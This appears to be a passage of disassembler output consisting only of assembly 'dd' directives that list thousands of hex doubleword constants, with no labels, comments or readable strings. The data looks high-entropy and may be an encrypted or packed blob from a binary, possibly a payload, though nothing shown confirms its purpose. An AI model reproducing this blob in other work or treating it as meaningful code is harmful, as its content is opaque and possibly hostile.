		dd 82DE3222h, 81091751h, 0BB45082h, 0B707C6E8h,	10BA0DB4h
		dd 0CDF31D32h, 481941E2h, 7C93F425h, 731A1F02h,	72F7FE12h
		dd 0F1FB633Eh, 0C5EC5896h, 11D1E9E0h, 6884B097h, 0A47774CCh
		dd 58B205DAh, 0EE8CCA80h, 2AA11A81h, 8BB11D3Ah,	92471D78h
		dd 5E9E6805h, 0EBD2D3E3h, 9DE492D8h, 577702Bh, 77A2014Bh
		dd 0E5407109h, 93638C84h, 48A8B869h, 249F652Eh,	4CA4A8BEh
		dd 742B0BC3h, 4D0347FEh, 0FF13992h, 0BC243E52h,	0BEE716B4h
		dd 0C68007E6h, 8FEE3301h, 50F00609h, 2CD3E0B0h,	8EE913B9h
		dd 82B8BC7Fh, 5867E510h, 909E9860h, 25193DFBh, 0A159F5CCh
		dd 5093F604h, 0C66780BEh, 0D8F9CBAFh, 0A996F389h, 0C8A09189h
		dd 287B269Eh, 16670912h, 0F90102FFh, 9D39E8Eh, 4273D0AAh
		dd 0AEB0D930h, 0B49C85Ch, 84552CD0h, 0DEA16B9Eh, 81C4137Ch
		dd 0C1354B6Fh, 0F16B5A33h, 6C992E78h, 44613920h, 25FC0C2h
		dd 3486C8EDh, 0BB073E2Dh, 708BDFCAh, 0A2FADED4h, 30E90BC9h
		dd 2A91A237h, 56202C0Eh, 4B1328F2h, 0EC06669Ch,	260F34F6h
		dd 2582F7E9h, 7E25EA53h, 2DEE5021h, 482FE316h, 0D51269F8h
		dd 8374379Dh, 10032A75h, 0BE30F525h, 4AF3D301h,	5BC609CFh
		dd 0A5AB00DFh, 778AB08Eh, 1D3CC153h, 325DB87Fh,	94B116F6h
		dd 7168B6D0h, 805258C0h, 5C4B8F20h, 792D68E5h, 0EBE46F13h
		dd 211108Ah, 2A9A2F87h,	801EFD0Ah, 34F5DF4Ch, 6E1D0B68h
		dd 2E8519DCh, 4884001Bh, 0CED82D40h, 294F04Ch, 97741EC5h
		dd 7E58E13Ah, 0C569A62Eh, 499011E9h, 9D215D5Ah,	0ADFA11B3h
		dd 0B68242F2h, 9605E755h, 0D00CE47Eh, 0E5B85A4Fh, 40E0D1A1h
		dd 88E940C3h, 0ECD304Bh, 0BF081604h, 8C531DEBh,	0D9436C59h
		dd 4EAFA2B5h, 75C0514h,	343C6E1Eh, 4F88EA0Eh, 1F5324E9h
		dd 0D3B281BFh, 0C2D2EA80h, 0C76607DFh, 12F7278Fh, 93FE88F3h
		dd 32BAE5F5h, 0E1E3508Dh, 6F58E6F1h, 30357B2Eh,	2F300C44h
		dd 724689Eh, 8863657Ah,	0BF8594D3h, 80898EA2h, 86515E82h
		dd 2D61A4A2h, 0B94D5B03h, 782D3BFDh, 88F814DCh,	0B312284h
		dd 0BE965566h, 66D8442Dh, 0A9681772h, 628E8C7Ah, 4691E59h
		dd 2FB2578Ch, 0F881E80h, 0BE7D58C2h, 0D0753504h, 406D8754h
		dd 3133C44Bh, 1A5DEB2Eh, 40F9762Dh, 6E4A9AA6h, 4E72E918h
		dd 160CC3B5h, 0B9DA913h, 0C398661Bh, 0E8E4D588h, 8012595Fh
		dd 10501DB1h, 3EC3AE2Dh, 61F8A246h, 7EF54DE1h, 0BFCCC7D9h
		dd 0A851E87h, 122F222h,	0F5C2FE81h, 2D7E64DEh, 0D527A301h
		dd 3C7681Fh, 0F8C00228h, 0E933061Ch, 0F313104Ah, 6F5B3CFAh
		dd 0F53B9962h, 7B4EFD5Eh, 5932FF1Eh, 9EEF1453h,	5C293E34h
		dd 25A55C97h, 0E838DC52h, 912D169Ch, 7FDDF899h,	8109638Bh
		dd 30060DEDh, 0EE010C54h, 0E961EF31h, 22815646h, 6E2DFDBAh
		dd 82E03E45h, 0C03879F0h, 493EE23Ah, 0DA9514D1h, 0D4CA0600h
		dd 2A30270Ah, 8BC863A0h, 0BB0C30B6h, 0EFFAB9B6h, 227ED3D9h
		dd 16D55397h, 0E4632FDEh, 32B8DEA7h, 485888F2h,	5E1C01Ch
		dd 0F33F3CEEh, 1A044E04h, 0D681C828h, 0F062012Bh, 73B1C4h
		dd 290C0BBBh, 16529474h, 16E4F955h, 3FDD468Fh, 0EA0DD82Fh
		dd 79DCC85Eh, 6890F85Ch, 49DC740Fh, 0AC0D07DCh,	0C122161Ah
		dd 1766810h, 2684F281h,	94422D2Fh, 3EC21Ah, 564AEAA5h
		dd 0CA7801BEh, 0F2314788h, 0DCECFF5Eh, 9C5A94A1h, 2ED7090h
		dd 6B740D37h, 6F4FD01h,	1B0C0C08h, 0CF3E0F61h, 0F443DC5Fh
		dd 0D3E6B926h, 186FFE21h, 0E053672h, 3063741h, 8D608CEEh
		dd 3740FE95h, 99409E76h, 962B252h, 411D16D2h, 285F3802h
		dd 65448D2h, 679810B5h,	6B9DDE97h, 97A71E75h, 0B17F3612h
		dd 37E45763h, 3431073Ch, 0F1D7F75Fh, 3AFDC5E9h,	0EB8A4DB2h
		dd 0D27D9296h, 655F023Bh, 0C1A292D5h, 0C05FBED5h, 1AF42B84h
		dd 570F149Ch, 0BFC07C58h, 0F714D01h, 0F8475B4Fh, 7B16787Eh
		dd 4AF6691h, 179615C0h,	0DE2EC1FCh, 0B781F7Bh, 317A06BFh
		dd 62599F08h, 102BCA5Bh, 0F55E27F2h, 0C1F79CA9h, 303CFEEBh
		dd 8B1ABE1Eh, 6DD85B74h, 7A9BEE80h, 0CA739027h,	12080963h
		dd 0F09574CFh, 196BD3E9h, 8A8500F8h, 0F62DC327h, 9D447036h
		dd 0E49747Ch, 4C3B02D5h, 6922C013h, 562D8099h, 0B49571Eh
		dd 0D393818Ah, 2CE8FD96h, 1307A307h, 0C8DCE21Fh, 0D82017D1h
		dd 77F29525h, 0F75B4239h, 0FB40D4B5h, 63605168h, 0D53110FDh
		dd 826EA93h, 4F02E845h,	4072E416h, 2628E15Ch, 35A3044h
		dd 3ECDC1EAh, 5BC7BCC5h, 0E53C4D81h, 4C56A33Fh,	24494936h
		dd 0C84F85C1h, 7B680416h, 7F438D3Dh, 0EE4B7F8Ah, 0E67E5269h
		dd 27683B25h, 0BD4C981Eh, 1B12340Bh, 0E9D0EE9Ah, 0D90E2D08h
		dd 30C55014h, 20B52287h, 6B60406Ch, 59E09512h, 519F79A7h
		dd 2CFE4077h, 529D66C7h, 268E329Eh, 9DE04026h, 0B3175235h
		dd 8EFC9891h, 17C1E35Fh, 39F77FA0h, 571AB4Eh, 2B09BB53h
		dd 925EE5A0h, 0FCBF2C75h, 0AAFE448Fh, 6C1543A3h, 0F84F7E15h
		dd 227706EBh, 97AB0CFEh, 7AF9F9F8h, 8BAE18C5h, 37CE0018h
		dd 0E974EC77h, 886BD40Bh, 0C01E173Bh, 80AED306h, 78FBA10h
		dd 5820D626h, 0D765E702h, 0C5574338h, 461B38EFh, 347DC4Eh
		dd 9E975150h, 7FFF216Bh, 0CC70FA67h, 57C2E739h,	0E915DA1Eh
		dd 78307812h, 81B9B224h, 0D1F9F763h, 6BAD6351h,	7E135071h
		dd 1F8819E0h, 422858E2h, 0F8305A66h, 5D1B945Eh,	2A02B0EDh
		dd 0AD114A49h, 5F0840B8h, 292D6E9Bh, 0C527096Ah, 7D6805D4h
		dd 1CD8BB77h, 304C113Ah, 366A6647h, 59889413h, 0C9F62168h
		dd 0A0906B01h, 79B562ACh, 0CACD511Ch, 90100805h, 7E286117h
		dd 42E69502h, 11AF4061h, 71A92D5Ah, 4214B86h, 1874E912h
		dd 7717D6E3h, 6F299DD6h, 913AC199h, 291EC06Fh, 5B59C674h
		dd 4C51B504h, 0E9545180h, 9D010928h, 22686AB0h,	3EF96F4Eh
		dd 40E064CBh, 800FCCFEh, 8B2805F4h, 3CC4F458h, 0D0F0C58Fh
		dd 4C686621h, 0EA416F1Dh, 0F50888B6h, 0A380E843h, 59EA81ECh
		dd 7185D7EDh, 0D1FA32E9h, 76693945h, 0AC1E1885h, 1888F7CFh
		dd 0C680546h, 0FF16A2BCh, 0C153575Eh, 627AF6E5h, 44D0F9C9h
		dd 0BE305276h, 0FAEB4BB9h, 92CF09FBh, 0D7DD01h,	7B0521E8h
		dd 0E3D12624h, 25409D4h, 0E035A448h, 31252A1Fh,	0C6C40609h
		dd 0E109257Ch, 69EF54F6h, 0F2FCAFC3h, 54427804h, 85C60104h
		dd 89D39060h, 419E5AD3h, 70AA1004h, 5F523A80h, 35D4F9FCh
		dd 22649F33h, 2DACAF49h, 0AA18685Dh, 6234BA31h,	0CFBBECE7h
		dd 61669955h, 0B10977Dh, 0C24E7A02h, 70F2F61Bh,	0D482AA15h
		dd 7DE958FFh, 58246560h, 2746DE35h, 69791071h, 7E61D40Ah
		dd 835A5CA6h, 0C80D40ABh, 0B0EDD12Ah, 4BCD0E56h, 0F7270572h
		dd 0AFDD27D5h, 6776E8A0h
		dd 9030E915h, 49E0B747h, 0D1384ACEh, 420CF64h, 0AFA5FBB9h
		dd 0CFC1A961h, 0A3404A67h, 0B098A16h, 0CC82935Eh, 4054FF03h
		dd 161CDDC9h, 0F50147B0h, 9AD52B62h, 4A8C8E80h,	0A38F5459h
		dd 0AE310543h, 0E818296Fh, 7C158B56h, 55902DBEh, 0B39E1BCFh
		dd 3E4BD40h, 0DF26580Dh, 23BA306h, 430B0C6Eh, 29480F38h
		dd 21E88035h, 0B03BD80Dh, 4313BEE7h, 948195CAh,	0B1188008h
		dd 0E93BDC0Dh, 23EE6111h, 0EA5AD8C6h, 1B97E40h,	0F7BC3CD6h
		dd 0C73DB14Fh, 84464EE1h, 654F52Fh, 5E800B84h, 0B8083CCEh
		dd 4B4A27E2h, 0C0B2AE21h, 0CDF621E1h, 0C1FDE705h, 4916C68Ah
		dd 2446ECF7h, 0FCEE1851h, 1AD798F1h, 0A310688Bh, 0EBB80239h
		dd 0D87CF177h, 706C0DAh, 84AED305h, 0B221ED35h,	12B792E0h
		dd 335C954h, 153C9EE1h,	0C3FCCC76h, 61FE08A2h, 54BFC1CFh
		dd 0EC416079h, 0D4EE251Ch, 33A5021Ah, 0A4C13077h, 0F24114D8h
		dd 45FA5D01h, 0F3077120h, 5139DCE2h, 0A63A091Ch, 2F3410DDh
		dd 0B28AB701h, 30FA3059h, 0CC27B330h, 0ED47E28h, 0D400C9C4h
		dd 0FEC0B652h, 0F604C663h, 5BEEF1D6h, 19175368h, 6014BB28h
		dd 0A3A632C3h, 4F5C4EDh, 2DFCB850h, 216C811Eh, 90FE0513h
		dd 0A368511Fh, 0E5977D63h, 63748582h, 21D69AA9h, 25DFEFFEh
		dd 1297F93h, 6E3531FDh,	0E3FF800Ch, 79B9D7Eh, 0AAE1049Fh
		dd 85B3E077h, 920B1670h, 0D7BEECDAh, 0FBE4F6ACh, 494AE6CAh
		dd 33D0775Fh, 0E2845E4Bh, 96B5B2BBh, 41A7640Bh,	91D85704h
		dd 951995FEh, 398C2B01h, 4FCCF25Fh, 0F6EC3167h,	5EA69FDEh
		dd 0E612C98Bh, 0F7EB2563h, 0FA50C67Ch, 0A80AD6DAh, 0E871280Dh
		dd 6D20ED2Eh, 60F28004h, 71F874C5h, 56E50127h, 0D17FE985h
		dd 29E19CCDh, 0B92F852Ah, 5018D3E4h, 59116804h,	0F8899D71h
		dd 0E605C352h, 29ED5786h, 0DA5301FAh, 2EC58AF9h, 0D9EC46F1h
		dd 1A95B85Bh, 448E1CE9h, 0C15627DFh, 0FEAE1ECh,	369C192Ch
		dd 0E86A927Eh, 95AFE6EFh, 0A199D47Ch, 0DCD84641h, 697BE114h
		dd 53D189ACh, 0B9CE5754h, 0DE45B5Ch, 2CA9C9E9h,	69586A20h
		dd 5DB30C2Ch, 90E4D8DBh, 50CEFE85h, 5874B038h, 474B78BCh
		dd 5961628h, 14D4F50h, 44F105F0h, 5AF4CC55h, 50454AEh
		dd 2F786F7Ch, 2617182h,	0D75C1901h, 5E7DB920h, 0EC549A25h
		dd 5160BDFFh, 1895B1A4h, 0A6B9082Fh, 0FAC397DBh, 2A0CFBD9h
		dd 0EA88A831h, 9896EA72h, 0CA02B8B4h, 0E9382668h, 0B5CEF0F4h
		dd 76AFA547h, 0D2C8C5DEh, 0E8B45B05h, 4540CE95h, 0E9BD1102h
		dd 0B3A6563h, 25A14896h, 2D2B5B3Bh, 0EE34C9FEh,	164B90A3h
		dd 0ABA98D9h, 913EF241h, 7ADFF0DCh, 5DCD5632h, 0B057E909h
		dd 481D67Bh, 6C4205CEh,	0A67F8032h, 8F9C8625h, 0E52E0B39h
		dd 0DCD40C1h, 28F6820Ah, 7F0C8742h, 0E9623D65h,	14ECDEDAh
		dd 0A9C45B5Ch, 0DA590B12h, 35FC9FDBh, 0FB685D82h, 80C15969h
		dd 77B85F7Ah, 72E4E181h, 0DE6BA125h, 0A7410B25h, 9D801CF5h
		dd 0E985AAF4h, 4BFA51A6h, 486392E1h, 5607061Fh,	1E3A35FFh
		dd 0D7D9E844h, 847AB3AFh, 0CCFAF50Ah, 0C4BE8450h, 3038BD1Fh
		dd 88EDA2DDh, 12900424h, 96FAFCE9h, 0EE0C4C09h,	0F38217Eh
		dd 481E1701h, 0D0CEE816h, 2C82770Ah, 2390E18h, 0E91A2708h
		dd 46564BAEh, 3B40004Fh, 0FD87715Ch, 8BBD5E9h, 0D320D93Bh
		dd 0AF694BF6h, 3CC55D32h, 749FEB20h, 4456E5DCh,	0BB646883h
		dd 3686FF1h, 0DB752DC6h, 0D69EE497h, 0FA93007Ch, 0E9E660A9h
		dd 0C4A3D424h, 0E0C0D953h, 0BB535C83h, 4A9B497Dh, 16C7A47Dh
		dd 0CC75CF31h, 0FD29C7D1h, 0CDF78BF8h, 6004DB63h, 37161E5Bh
		dd 97114019h, 5F8909E0h, 9C2FD220h, 0B9605AAFh,	6CB70271h
		dd 3230BF63h, 0C299A73Fh, 0D59A5549h, 8E203658h, 0F0C8B74Fh
		dd 0A120556Dh, 7329A7Ah, 5468B2BFh, 95A0A52Dh, 74DDBE07h
		dd 663CB16Ah, 0C3E9130Ah, 1905C240h, 7E464036h,	99E59D59h
		dd 4C3051AFh, 4B1FE85Ch, 982E3521h, 14FA4704h, 978A1ECh
		dd 6307C6Bh, 4DE601A0h,	2658242Bh, 20401C79h, 25E9407Bh
		dd 0AE71962Eh, 21EDE701h, 0CEF4172Dh, 0CEA2B768h, 0F15FEBD4h
		dd 0D1923FD6h, 6F42B1CEh, 4146E02Ch, 0F0811DE1h, 29CEF92Ch
		dd 0E234E5D6h, 7DF8ABBh, 0D16975C2h, 0AB7EE931h, 0FCDC287Bh
		dd 78E3D55Eh, 0C9696B0Eh, 30A75E1Fh, 31BCBB30h,	81601B06h
		dd 603C4CCBh, 669B0C33h, 2D9040A8h, 1154E0Fh, 68F38054h
		dd 321B4A71h, 0A6F2DD31h, 0B029CFA4h, 0F191515Ah, 36C3EF07h
		dd 73BD28Ah, 755E3E05h,	59FCC7C0h, 0EBF14B9Dh, 0D40BFC52h
		dd 515E993Bh, 0C9A1F2Eh, 49ABAA12h, 0C5A33509h,	2055D031h
		dd 92D63E2h, 3D895ECAh,	4C76E96h, 171782FAh, 886FD3F1h
		dd 0D0048F6h, 11F05669h, 33C1D405h, 58825B12h, 139DEA05h
		dd 0C3141822h, 64084124h, 0D49D569Fh, 0E360F280h, 7DDD95FEh
		dd 8081068Eh, 59799CFDh, 14CB4E29h, 0CE452803h,	53DF482Dh
		dd 5C5FC21Fh, 126B2DE1h, 5B06F014h, 0A56C1C28h,	57466281h
		dd 5C52957Dh, 8580595h,	718C66D1h, 5409502h, 0C6B7DC92h
		dd 81E77771h, 20F03A5Bh, 4ABE2F68h, 0B151EA90h,	0E0022A4Bh
		dd 575044E9h, 75367A19h, 10626D4h, 965325B8h, 8360D17Ah
		dd 58353A1Bh, 6C3E2D02h, 0D95811ECh, 0A102E913h, 0D9E09ACh
		dd 14F79D4Eh, 1A44C1ACh, 0DE212AA7h, 1123F4FAh,	0DD63A84Bh
		dd 3FD06805h, 78213CEEh, 4F88D45Ah, 0CC6C5B7Ah,	8D416AB3h
		dd 0E0A6F13Fh, 1402598h, 665901C8h, 280DB252h, 6E5AD9D0h
		dd 2C842487h, 7CB09EC2h, 0C2282EFCh, 0BBA46h, 0C360B7B1h
		dd 0B3353028h, 1261E90Bh, 79ED83C9h, 2F2225E6h,	747C345Ah
		dd 0B2A4562h, 0C559665Ah, 5B304FC8h, 1584BD55h,	0C875100Ah
		dd 0E73F69C3h, 0F818E9E0h, 4959F397h, 8D891075h, 0FC6CB778h
		dd 3BDA8E25h, 9DF1B025h, 0BCD84A3Ah, 0E95567B0h, 0FF1643C4h
		dd 0C64F0C35h, 46FFB34Bh, 49917DB0h, 305BF905h,	24AF59CEh
		dd 0B8FA82D2h, 4A665C07h, 5E542541h, 75E935FBh,	0FE955F44h
		dd 1338502Ch, 3C54D1BDh, 0D52BDB14h, 7F3EBF80h,	0CF3B2D01h
		dd 29EE0133h, 0F52E9C2h, 828E326Eh, 0FC2D48DEh,	0C4FA5B32h
		dd 5C17F0F4h, 6F8A2DABh, 1C2F60B7h, 7E3E2400h, 0E938449Bh
		dd 96012D57h, 69D8FCDAh, 3A3A1C0Dh, 0A7468640h,	5D27D1A5h
		dd 0F06022A9h, 0CA4E01E9h, 335D61D0h, 2F7A5C19h, 68845930h
		dd 40B72524h, 190F2C21h, 1A501CC9h, 49E4D0ABh, 4EFFB805h
		dd 18EA3954h, 62A02ABFh, 846C6D2Fh, 0BA85EBBh, 0B134593Bh
		dd 3955C06Fh, 5763023Fh, 8A3E0E0Ch, 7D4C5F4Fh, 1AB9EAFAh
		dd 76FBD98Bh, 4D0612Fh,	68704C01h, 5B70562Fh, 6E684BB5h
		dd 3CC21072h, 553BAB68h, 0DC271965h, 53E97838h,	8543B948h
		dd 4CA29B50h, 7490523Fh, 567F76F0h, 9F6997F0h, 2CFE90FDh
		dd 62C89C5Ch, 7957EC42h, 0EE536591h, 503C7760h,	0F4095E0Bh
		dd 0A7C95D1Eh, 5369D45Bh, 3455E39Ah, 0E5752038h, 0D527E29Fh
		dd 0C57CE540h, 7601215Ah, 62D097Fh, 8408A69h, 0B65C9F5Dh
		dd 0A585266h, 2719470Bh, 64D903FDh, 0F5B17C53h,	990ADC0Eh
		dd 3560BAA2h, 14F2025h,	0BB07CDB6h, 0DACD14CFh,	3D604B0Bh
		dd 0BD2D2F7h, 2EA18AADh, 45FC5708h, 5A30AB1Dh, 12A616FEh
		dd 0B9B2E905h, 3C1A60ECh, 0F848AF34h, 89724AB7h, 0BE5FE0D2h
		dd 8095E7BAh, 5D01E4CEh, 5F43FAC9h, 57B5F2FBh, 0F57F08h
		dd 62A16855h, 9D691721h
		dd 0FF22DB73h, 0B0A5827h, 60C6D9EDh, 0F9E9E82Ch, 59EDF14Eh
		dd 884020A6h, 302B12B0h, 8D8EA8C7h, 0A13A7713h,	0D3B16A8Bh
		dd 95C2F114h, 3E27F7E1h, 210DADB7h, 5BB63F57h, 0C5561018h
		dd 26C1D6AAh, 41D1F75Fh, 0D30406B7h, 1A13E6ACh,	1C005759h
		dd 432F04A1h, 450909BFh, 0F45CF9ABh, 0BCEF830Ah, 762AF700h
		dd 4A29A067h, 54F581F8h, 0CF8B05Ah, 4A5968AEh, 61BE55Ch
		dd 14800C08h, 30F55758h, 9992BED0h, 5535B0A1h, 8C83BFDAh
		dd 5C4809Eh, 65090BBDh,	2E565F30h, 272DDE0Dh, 9F50E1D9h
		dd 0B450CE68h, 3D0E6F74h, 7AC71D10h, 0EF4CD08Ah, 75AF9416h
		dd 0B566FCE4h, 3045FFB0h, 0B94EED5Eh, 65880110h, 39EF1F71h
		dd 87CA125Dh, 22CDE5FEh, 5C5E312Ah, 7A77562Dh, 664D8061h
		dd 0FAC4193Ah, 163FE225h, 0DEB4ED45h, 0E7B5E4C9h, 0EF222FA9h
		dd 0B8001EA2h, 2A932DBh, 13A3051Dh, 0A9593470h,	0FF17982Ch
		dd 68500B30h, 0AB2012BDh, 0E896F508h, 732EE954h, 19729FCh
		dd 2D478F5Dh, 39BE851h,	75654460h, 0E910C81Ch, 298D581Fh
		dd 0BAE84BC8h, 0A56491BDh, 4F8B1F5Ch, 74CC10ABh, 7E2D2F2Ah
		dd 363AA640h, 0D6C7BD83h, 8CF3A964h, 0C449E60Eh, 7BDCFCD3h
		dd 0D9B8FD5Eh, 0D4BECB5h, 487BB62Dh, 0FAD6C72Ch, 6FBEAE00h
		dd 9BA3951h, 0C1CBE730h, 0C0256F5Ch, 73685389h,	0B92991E6h
		dd 0F3A5EEBAh, 18269C7Dh, 0A3C63E9h, 1AD84E46h,	95A7420Ch
		dd 2AB20461h, 1FA8384h,	244096F7h, 5BC07E0Dh, 768C4AE7h
		dd 0B0E57350h, 187863B5h, 38B263FCh, 351E362h, 0C3EBF012h
		dd 0BCD4332Eh, 18A73B5h, 0CD502FCAh, 13F97470h,	0E3F606E9h
		dd 458B0574h, 0E1B95868h, 1852F301h, 2A4B0E88h,	0BBC001C7h
		dd 0C1034906h, 0EADFC11Eh, 2ACA3BF0h, 25899030h, 18254F8Ah
		dd 959CF834h, 0C3089DF3h, 42816EFh, 0AE5AEBF1h,	6FF5C3A4h
		dd 7B81B727h, 38269131h, 5697148Fh, 1B28050Dh, 80FB71D8h
		dd 7830632Bh, 0F4A7A2A1h, 0E925293Dh, 97CCDA18h, 0F82FDA9h
		dd 78424A16h, 9698177Dh, 97BDA355h, 448E31EBh, 776BA8CEh
		dd 124DB302h, 88F1016Ah, 0C52C08BDh, 0D90F4A0Bh, 0ED1B3C99h
		dd 0C3803BF7h, 469D1368h, 54C2F0DFh, 51B7AC75h,	0E26A15D3h
		dd 626F2787h, 0ED97728h, 0CB89DE70h, 0C5E8EF1Fh, 0C8F1E7D1h
		dd 0E2247DF3h, 3B021D46h, 622CDD12h, 0A614CF2h,	1960622Dh
		dd 5F80AAAh, 685F0407h,	0CCCDAE99h, 72D3C600h, 0A83A5E7Bh
		dd 30BF4CFFh, 2CF093A5h, 0FE042549h, 0B89BFD24h, 0F8E144EBh
		dd 2CDAE9E5h, 53B116A8h, 1E50ACE9h, 0D7014C03h,	82456694h
		dd 63471C30h, 0D0310CC1h, 0E6E1C292h, 462C01EAh, 0C53FC9DDh
		dd 6D7CAAE2h, 0C5CC54E9h, 3A8BB55Fh, 1A961657h,	8C151DE9h
		dd 0A9F2DF0Eh, 9AFC4EA9h, 3404F9F5h, 0CAEB1F6Bh, 51C325F6h
		dd 0E2120BE1h, 0AB4E5F4h, 4E6835A4h, 5C3E22E1h,	3716AC7Ch
		dd 0EC5118F0h, 20009709h, 80E18149h, 0F6756638h, 770BDCFBh
		dd 0CA210813h, 6300FBE8h, 2DE48A28h, 970D64h, 6852D0FAh
		dd 0A6654AADh, 8532093Eh, 0AC83871Fh, 0A84161EAh, 0BBD8A745h
		dd 0E5D43D62h, 0A18EE997h, 0FFE77BD1h, 2CCAD10h, 0A844E0BFh
		dd 25877C62h, 758C489h,	716420h, 0B4CBE56h, 0EE811F5Dh
		dd 4E045A91h, 43BA26E9h, 0F72FF149h, 0F8D93D8Bh, 14892F8Eh
		dd 245CE1h, 4501C34h, 58C50705h, 0CDE3680h, 8F27E916h
		dd 4F818F45h, 0C6DC0FEAh, 0A537169Eh, 0F63920BEh, 1BB95D04h
		dd 1FCE148Bh, 4177E908h, 652D5D00h, 0B8CF7F6Fh,	2F6ADC13h
		dd 466253F3h, 4782B2Fh,	26371258h, 41D2552Bh, 0BF003D25h
		dd 64275B49h, 0B6E25Dh,	51A6C606h, 11914BAh, 8409EFEh
		dd 0BBCFB55Fh, 25F2D32Dh, 51483BD2h, 66A6133Eh,	7A2C7396h
		dd 0CBC52F58h, 16DC6320h, 0E3987C83h, 93285A96h, 539CC77Dh
		dd 0FC6965EFh, 7E259DFFh, 0C34C4BB1h, 44D15AE2h, 17272DB0h
		dd 5A4605EAh, 0DF9943CBh, 0EF9CF75Bh, 979FEA3h,	19A1024Ch
		dd 0F09820F7h, 9832715Fh, 0FFB797Eh, 0FD2917D0h, 0FBAF1279h
		dd 0FDCF58C3h, 8208044Ah, 8977625Ch, 0FE9677F3h, 0C2E11B7Ah
		dd 1B9EC5FFh, 0E6E2BD37h, 947A9ED7h, 3455AD1Eh,	84DC9C86h
		dd 1D3FE968h, 0E6A0980Bh, 2006BA64h, 0B80189ECh, 663D1DF7h
		dd 98C83A35h, 0BFACFE11h, 8B17C2F2h, 901E9B29h,	1333AACEh
		dd 0F575DDFBh, 2D0B6E2Eh, 80F0595Bh, 51736935h,	0D527E925h
		dd 0A4EDFA0Bh, 90527E54h, 947A1369h, 0BB1FC0Ch,	26B85BEh
		dd 57667E2h, 0D0F2C752h, 570171Dh, 977BFE0Eh, 9ACBA273h
		dd 0C2D407Dh, 0B5D09A69h, 0F6D1DFCBh, 5B5DC2F3h, 81D9175Ch
		dd 6EC1680Ah, 31B6148Ch, 4B782861h, 86F26FFCh, 560B8648h
		dd 0C087D13Bh, 0EEF175C1h, 6617C8h, 890CBC70h, 0D9F75FF9h
		dd 8217E927h, 0FF3C8B6Bh, 19D7F716h, 0BEB817AFh, 0D9BF6670h
		dd 4C1C584Dh, 5025B05Bh, 5B14C2B6h, 4B423C83h, 0EE625481h
		dd 56CBBB04h, 0D0AB6812h, 105FEDCh, 52F67695h, 3523C575h
		dd 0E9E0D0E0h, 0A09D0AE8h, 2C3B66EBh, 0C3313969h, 0E808D835h
		dd 74E44ED9h, 5E66E358h, 698C2E7Dh, 5234021h, 1FB806CDh
		dd 0A074071Ch, 76009EA4h, 29FC0C36h, 9FEECFFEh,	425934F8h
		dd 6C400190h, 4B1739BFh, 0FA011109h, 4A2DC4E5h,	98E557F1h
		dd 0FE3E4682h, 0BE90230h, 0C4D7066Ah, 0AC7B4AA0h, 6CFF4A13h
		dd 0C225E9BCh, 2138DFE7h, 589911F9h, 0D2731362h, 58F627BCh
		dd 0E8808D71h, 0C128137Eh, 0B580C4EFh, 4B0A329h, 61115266h
		dd 53A741BEh, 2F72587Eh, 0D4ABA812h, 9321A2B7h,	0F9CDB713h
		dd 5403D7F5h, 26A7D2BFh, 0D70444A9h, 0C3DCFECDh, 3A584CC6h
		dd 0E9179CF6h, 9A575B63h, 0E826D2ACh, 84BB177Ah, 0AE28FE37h
		dd 8C084EB3h, 0CB5E9B6Ch, 2A2EEFCh, 491CF95Dh, 708B2B77h
		dd 71E0B5FEh, 7148BA25h, 4A007959h, 3540653Ch, 5A799059h
		dd 0EB9A84EBh, 2C300518h, 2DDD2533h, 11B0B26Bh,	0CDEC7623h
		dd 1A609001h, 47E94D34h, 3721D824h, 0B5BF1C6Fh,	5952EBEBh
		dd 72A0E6C0h, 0B77D4874h, 20B6A0B5h, 6490E1Ah, 4D2C7A0Fh
		dd 0C527FE29h, 5CC3CC43h, 245B4E29h, 42EEC244h,	0D6015D41h
		dd 6887907Dh, 0B2145D80h, 5E580B81h, 78ECF513h,	53BF4BC7h
		dd 0C551B071h, 7FCD8B25h, 2DC8AE80h, 94273C60h,	0D9AF777h
		dd 44A99260h, 0D6ACC282h, 23A100FEh, 0EE89F02Ah, 0D60A5D7Ch
		dd 425B6B68h, 836FC342h, 20CE29C4h, 0B807E2ACh,	57AB4152h
		dd 7C0C2BAFh, 2D0281BEh, 0FCEA2BDEh, 2675BA52h,	73F6F77Ch
		dd 2C25C03h, 30BCAE9h, 261FF6C3h, 0C9D97A5Bh, 0E45C3CF9h
		dd 0AB0413FBh, 0B2E3CC9Ch, 0C7882648h, 0E0501266h, 0EB904127h
		dd 370D620Eh, 81E1A97Ch, 3303C9CEh, 8240F5CAh, 884C2F35h
		dd 6264106Eh, 5B6BEC7Ch, 68E29C82h, 665F2F2Fh, 6FCBB771h
		dd 0C902F8F3h, 653DD1C1h, 0A93F6248h, 0EFFFD695h, 228F31A5h
		dd 25034DC0h, 0F1599354h, 4F781389h, 0E3500C16h, 0F1E81083h
		dd 0D74B9317h, 0ACBD559Ch, 0FA78C525h, 4AF83304h, 91BF5700h
		dd 38C7675Dh, 823907EFh, 57EB68CCh, 788D37C9h, 0F2B0196Dh
		dd 323E69BAh, 8955A5E6h, 31F7B004h, 994ABA7Ch, 6F3F0871h
		dd 278C511Dh, 0C9540D0Ah, 0DA7E0DD6h, 52241484h, 4A22DEEEh
		dd 1ED8A6B3h, 584B0568h, 0FBA415B9h, 5F27A5B6h,	56602E54h
		dd 0F9CBE953h, 80BFF26Eh, 0B93A4C68h, 22D39526h, 0E920ED44h
		dd 20B5FD1Dh, 0F463B77Ch
		dd 4CBDF627h, 784CAACh,	0ABD0EEDBh, 905169C9h, 93D37CBFh
		dd 1AE303ACh, 5AE94B70h, 0C6557CA4h, 9C4DA1BAh,	0DC843C1Ah
		dd 47FA22Eh, 5AE25405h,	0B1582D88h, 0C0C1CACEh,	40D008E8h
		dd 2F2DCB28h, 0CCA1804Bh, 2E2CEB54h, 185FA09h, 0B35669EAh
		dd 95862B07h, 72300A24h, 0A4AD31CFh, 3E500CEh, 0FB0D1E4Fh
		dd 2D204D02h, 0EBF049E9h, 0D9385FAAh, 8EE22ACEh, 0E942ECC8h
		dd 9C3E4A28h, 0E93DC401h, 80C2E083h, 1701C23Ch,	3E20746Dh
		dd 7BBA3639h, 0C82D27E7h, 281BA5D7h, 0E9544F93h, 0C82B118Bh
		dd 0DF6042B7h, 7809BD28h, 813501BEh, 0C5E48EDh,	0F7EF403Ch
		dd 3209BC25h, 9A12CEE9h, 0B03C6001h, 687C3C44h,	0C15DEB82h
		dd 0F84107E3h, 2286F8CFh, 5E2D4E90h, 76E90915h,	1B0820D4h
		dd 0D587595Bh, 0FD0944FAh, 0E07586E2h, 0E0F2C3FBh, 41B0B8D3h
